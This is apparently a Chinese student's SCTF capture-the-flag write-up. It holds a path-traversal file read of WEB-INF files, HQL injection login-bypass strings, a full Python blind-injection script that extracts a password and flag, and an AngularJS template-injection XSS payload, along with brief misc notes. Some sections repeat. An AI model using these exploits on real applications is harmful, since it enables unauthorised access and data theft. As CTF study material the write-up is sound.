[SCTF] sctf writeup

临近期末学长都不做题了=。=自己太菜不会做
绝望,开心的是我做了一道re。。

SCTF

web

Zhuanxv

上来啥东西都没有,先扫为敬
会发现有一个/list的目录跳转到了


[SCTF] sctf writeup_第1张图片

这里有密码登陆,一看觉得是sql注入
查看源代码会发现有一个导入的地方


[SCTF] sctf writeup_第2张图片

因为是javaweb所以可以通过这个来读取javaweb的文件
首先是121.196.195.244:9032/loadimage?fileName=../../WEB-INF/web.xml
[SCTF] sctf writeup_第3张图片

再读取../../WEB-INF/classes/applicationContext.xml下的文件



    
        
            com.mysql.jdbc.Driver
        
        
            jdbc:mysql://localhost:3306/sctf
        
        
        
    
    
        
            
        
        
            user.hbm.xml
        
        
            
                org.hibernate.dialect.MySQLDialect
                true
            
        
    
    
        
            
        
    
    
        
            
        
    
    
        
            
        
        
            
                PROPAGATION_REQUIRED
                PROPAGATION_REQUIRED,readOnly
            
        
    
    
        
            
        
    
    
        
            
        
    

可以看到有一个user.hbm.xml下载下来

[SCTF] sctf writeup_第4张图片

然后把所有的class下载下来
com.cuitctf.service.impl.UserServiceImpl 对应于
../../WEB-INF/classes/com/cuitctf/service/impl/UserServiceImpl这样下载下来
拖下来所有的源码之后用 jd-gui就可以看源码了
[SCTF] sctf writeup_第5张图片

可以看到匹配的规则了,然后name没有任何过滤
但是我做题的时候发现怎么都注入不出来
[SCTF] sctf writeup_第6张图片

看到hibernate这是这个框架来执行sql语句
user.name=1'or''like''or''like'&user.password=aaaa
这样就可以直接登录了框架语句不是很理解学习一番=。=
但是
user.name=1'or(name)like'ho%25'or''like'&user.password=aaaa可以把账号注出来
用hql 语句的子查询来查询flag
user.name=1'or('from''Flag')like'sctf{%25'or''like'&user.password=aaaa
又卡在还有特殊字符上了,最后的
怎么注入都注入不出来
出来的是
[SCTF] sctf writeup_第7张图片

只能去注密码了再根据密码把flag注出来

aaa'%0aor%0a(select%0asubstring(password,1,1)%0afrom%0aUser%0awhere%0aname%0alike%0a'homamamama')%0alike%0a'a'%0aor%0a''like'
aa'%0aor%0a(select%0asubstring(welcometoourctf,1,1)%0afrom%0aFlag)%0alike%0a'a'%0aand%0a''like'

脚本

import requests
url = "http://ip/zhuanxvlogin"
# url = "http://localhost:9090/zhuanxvlogin"
def first():
    admin_password = ""
    for i in range(1,9):
        for n in range(30,140):
            guess = chr(n)
            if guess == "_" or guess == "%":
                continue
            username = "aaa'\nor\n(select\nsubstring(password,"+str(i)+",1)\nfrom\nUser\nwhere\nname\nlike\n'homamamama')\nlike\n'"+guess+"'\nor\n''like'"
            data = {"user.name": username, "user.password": "a"}
            req = requests.post(url, data=data, timeout=1000).text
            if len(req)>5000:
                admin_password = admin_password + guess
                print "admin password: "+ admin_password
                break
    return admin_password
def second(admin_password):
    flag = ""
    for i in range(1,50):
        for n in range(30,140):
            guess = chr(n)
            if guess == "_" or guess == "%":
                continue
            username = "aa'\nor\n(select\nsubstring(welcometoourctf,"+str(i)+",1)\nfrom\nFlag)\nlike\n'"+guess+"'\nand\n''like'"
            data = {"user.name": username, "user.password": admin_password}
            req = requests.post(url, data=data, timeout=1000).text
            if len(req)>5000:
                flag = flag + guess
                print "flag:" + flag
                break
admin_password = first()    
second(admin_password)

新的建议板

这道题没怎么看,我做的时候他们已经打到cookie啥的了
再做一遍学习一下xhr

注册登录之后发现一个留言板,肯定是XSS咯


[SCTF] sctf writeup_第8张图片

可以看到他用了AngularJS这个框架就用模板注入

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
[SCTF] sctf writeup_第9张图片

弹窗了,思路没错,就是模板注入
不过他有一定量的过滤就是会将document 变成 docu ment

re

Script In Script

web狗也可以做逆向了!
第一份代码是混淆=。=
解完之后那份才是真正的代码

misc

侧信道攻击

key=1的时候执行了add操作,消耗能量比key=0的时候多,含图中部分是1,不含为0,(手机排版捉急),


[SCTF] sctf writeup_第10张图片

然后就是看图说话了,SCTF{0110111010}

神秘的交易

看图说话2
搜索4442卡,密钥三位,
有资料按资料学习


[SCTF] sctf writeup_第11张图片

[SCTF] sctf writeup_第12张图片

Modbus

flag就在流量包中慢慢翻就好了

Zhuanxv

这道题上来啥都没有扫一下站

re

Script In Script

web狗也可以做逆向了

misc

侧信道攻击

key=1的时候执行了add操作,消耗能量比key=0的时候多,含图中部分是1,不含为0,(手机排版捉急),


[SCTF] sctf writeup_第13张图片

然后就是看图说话了,SCTF{0110111010}

神秘的交易

看图说话2
搜索4442卡,密钥三位,
有资料按资料学习


[SCTF] sctf writeup_第14张图片

[SCTF] sctf writeup_第15张图片

Modbus

flag就在流量包中慢慢翻就好了


期末了=。=过几天再说。

你可能感兴趣的:([SCTF] sctf writeup)